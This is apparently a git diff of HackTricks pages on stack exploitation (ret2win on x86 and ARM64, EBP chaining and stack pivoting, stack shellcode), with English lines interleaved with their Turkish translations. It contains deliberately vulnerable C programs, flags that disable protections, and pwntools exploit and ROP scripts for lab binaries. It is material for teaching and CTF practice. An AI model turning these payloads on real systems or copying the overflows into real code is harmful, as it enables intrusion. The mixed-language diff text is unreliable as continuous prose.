- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
## Other examples & References
## Diğer Örnekler & Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32bit, no ASLR
- 32bit, ASLR yok
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- 64 bits with ASLR, with a leak of the bin address
- 64 bit ASLR ile, bin adresinin sızıntısı ile
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, no ASLR
- 64 bit, ASLR yok
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
- 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst üste yazmak için format dizesi
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
- 32 bit, nx, başka bir şey yok, `win` fonksiyonunu çağırmak için EIP'nin kısmi üst üste yazılması (1Bayt)
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
- Program, bir sayının boyutunu kontrol etmek için yalnızca son baytı doğruluyor, bu nedenle son bayt izin verilen aralıkta olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, girdi, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst üste yazma (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
- arm64, PIE, `win` fonksiyonu aslında 2 fonksiyondur, bu nedenle 2 fonksiyonu çağıran ROP gadget
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one to call a win function
- ARM64, bir `win` fonksiyonunu çağırmak için bir baytlık taşma
## ARM64 Example
## ARM64 Örneği
{{#ref}}
ret2win-arm64.md

72
src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
View File

@ -2,92 +2,80 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64'e giriş için şunu bulun:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
## Kod&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
PIE ve canary olmadan derleyin:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Offset Bulma
## Finding the offset
### Desen Seçeneği
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Stat gdb with gef, create pattern and use it:
Bu örnek [**GEF**](https://github.com/bata24/gef) kullanılarak oluşturuldu:
Gef ile gdb'yi başlatın, desen oluşturun ve kullanın:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
arm64, ele geçirilmiş olan x30 kaydındaki adrese geri dönmeye çalışacaktır, bunu desen ofsetini bulmak için kullanabiliriz:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**The offset is 72 (9x48).**
**Ofset 72'dir (9x48).**
### Stack offset option
Start by getting the stack address where the pc register is stored:
### Yığın ofset seçeneği
pc kaydının saklandığı yığın adresini alarak başlayın:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
Şimdi `read()`'den sonra bir kesme noktası ayarlayın ve `read()` çalıştırılana kadar devam edin ve 13371337 gibi bir desen ayarlayın:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Find where this pattern is stored in memory:
Bu desenin bellekte nerede saklandığını bulun:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Sonra: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regular
Get the address of the **`win`** function:
**`win`** fonksiyonunun adresini alın:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Exploit:
Sömürü:
```python
from pwn import *
@ -124,13 +109,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1211).png" alt="" width="375"><figcaption></figcaption></figure>
### Off-by-1
Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
Aslında bu, yığında saklanan PC'de daha çok off-by-2 gibi olacak. Tüm dönüş adresini yazmak yerine, **sadece son 2 baytı** `0x06c4` ile yazacağız.
```python
from pwn import *
@ -150,22 +133,20 @@ p.send(payload)
print(p.recvline())
p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
ARM64'te başka bir off-by-one örneğini [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) adresinde bulabilirsiniz, bu da kurgusal bir zafiyette gerçek bir off-by-**one** örneğidir.
## With PIE
## PIE ile
> [!TIP]
> Compile the binary **without the `-no-pie` argument**
> Binaries'i **`-no-pie` argümanı olmadan** derleyin
### Off-by-2
Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
Bir leak olmadan kazanan fonksiyonun tam adresini bilemeyiz ama fonksiyonun binary'den olan offset'ini bilebiliriz ve overwrite ettiğimiz return adresinin zaten yakın bir adrese işaret ettiğini bildiğimizde, bu durumda win fonksiyonunun offset'ini (**0x7d4**) leak etmek ve sadece bu offset'i kullanmak mümkündür:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
@ -185,5 +166,4 @@ p.send(payload)
print(p.recvline())
p.close()
```
{{#include ../../../banners/hacktricks-training.md}}

166
src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View File

@ -2,64 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
As a reminder, **`leave`** basically means:
Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemini gerçekleştirir.
Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder:
```
mov ebp, esp
pop ebp
ret
```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.
### EBP2Ret
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\
İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer.
#### Exploit Construction
#### Exploit Yapısı
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
- Some [**ROP**](../rop-return-oriented-programing/) chain
- Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi.
- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bit).
- **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**.
- Bazı [**ROP**](../rop-return-oriented-programing/) zincirleri.
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.
#### Off-By-One Exploit
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
Usually it's modified the byte 0x00t o jump as far as possible.
Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00'ı değiştirilir.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve son ROP zincirinin çalıştırılması daha olası hale gelir.
### **EBP Chaining**
### **EBP Zincirleme**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
Bu nedenle, yığındaki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığından kontrol edilen `EBP` adresine taşımak mümkündür**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
- **`system()`** -> Called by `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
- **`&("/bin/sh")`**-> Param fro `system`
- **`&(next fake EBP)`** -> `leave` talimatından `pop ebp` nedeniyle yeni EBP'yi yükle
- **`system()`** -> `ret` tarafından çağrılır
- **`&(leave;ret)`** -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar
- **`&("/bin/sh")`**-> `system` için parametre
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır. Bu sayfanın son payload'u:
```python
from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP kullanılmayabilir
## EBP might not be used
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol etmez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\
Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir.
- **Optimize edilmemiş:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimized:**
- **Optimize edilmiş:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## RSP'yi Kontrol Etmenin Diğer Yolları
## Other ways to control RSP
### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
### **`pop rsp`** aracı
[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Check the ret2esp technique here:
ret2esp tekniğini burada kontrol edin:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## References & Other Examples
## Referanslar ve Diğer Örnekler
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini geri almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığında bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır.
- prologue
- prolog
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP çerçeve kaydına işaret eder
```
- epilogue
- epilog
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
> [!DİKKAT]
> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

62
src/binary-exploitation/stack-overflow/stack-shellcode/README.md
View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazma şekliniz ile birlikte **pwntools** kullanarak.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
### C Örneği: Savunmasız Bir Program
Basit bir savunmasız C programı örneği ile başlayalım:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### Derleme
Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır.
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Bu script, bir **NOP kaydırma**, **shellcode** ve ardından **EIP**'yi NOP kaydırmaya işaret eden adresle yazan bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP kaydırma** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, tamponunuzun başlangıç adresine artı bir offset ekleyerek NOP kaydırmasına ulaşacak şekilde ayarlayın.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Koruma Önlemleri
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacak.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, bu bölge çalıştırılabilir olmadığından shellcode'un yığın içinde çalıştırılmasını engeller.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
